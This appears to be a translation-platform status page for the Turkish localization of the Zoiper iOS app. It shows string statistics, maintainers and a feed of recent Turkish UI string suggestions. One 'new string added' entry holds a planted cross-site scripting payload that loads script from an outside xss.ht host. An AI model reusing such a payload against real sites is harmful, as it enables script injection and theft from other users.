Component Translated Unfinished Unfinished words Unfinished characters Untranslated Checks Suggestions Comments
UI 2% 1,047 3,004 18,272 1,047 0 7 0
Glossary Zoiper iOS 0% 2 5 69 2 0 1 0

Overview

Project website zoiper.com
Instructions for translators

https://www.zoiper.com/en/translate-licensing-agreement
Project maintainers User avatar ralitza.markova User avatar Ivan Zlatev User avatar salah.rifaie User avatar admin User avatar plamen.zhelyazkov User avatar pwalther

String statistics

Strings percent Hosted strings Words percent Hosted words Characters percent Hosted characters
Total 1,081 3,147 19,269
Translated 2% 32 4% 138 4% 928
Needs editing 0% 0 0% 0 0% 0
Read-only 0% 0 0% 0 0% 0
Failing checks 0% 0 0% 0 0% 0
Strings with suggestions 1% 8 1% 27 1% 178
Untranslated strings 97% 1,049 95% 3,009 95% 18,341
Last 12 months Previous

Activity in last 12 months

0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 1,125 changes 0 changes 0 changes 0 changes 2 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 0 changes 1 change
Jun Jul Aug Sep Oct Nov Dec Jan Feb Mar Apr May

Quick numbers

3,147
Hosted words
1,081
Hosted strings
2%
Translated
1
Contributors
and previous 30 days

Trends of last 30 days

—
Hosted words
—
—
Hosted strings
—
—
Translated
—
+100%
Contributors
—
User avatar None

Suggestion added

Zoiper iOS / Zoiper iOS — Turkish

IP Version Preference
IP Versiyon Tercihi
2 weeks ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Turkish

"><script src=https://rootsecss.xss.ht></script>
 
5 months ago
User avatar None

New string added

Zoiper iOS / Zoiper iOS — Turkish

IP Version Preference
 
5 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Turkish

Destination out of order
Hedef servis dışı
6 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Turkish

Destination out of order
Hedef servis disi
6 months ago
User avatar None

Suggestion added

Zoiper iOS / UI — Turkish

Out of order
Servis disi
6 months ago
User avatar sonercan

New translation

Zoiper iOS / UI — Turkish

Access information discarded
Erişim bilgileri atıldı
6 months ago
User avatar sonercan

Suggestion added

Zoiper iOS / UI — Turkish

Switching equipment congestion
Anahtarlama ekipmanı tıkanıklığı
6 months ago
User avatar sonercan

Suggestion added

Zoiper iOS / UI — Turkish

Temporary failure
Geçici hata
6 months ago
User avatar sonercan

New translation

Zoiper iOS / UI — Turkish

Throughput range cannot be achieved
Verim aralığına ulaşılamıyor
6 months ago
Browse all language changes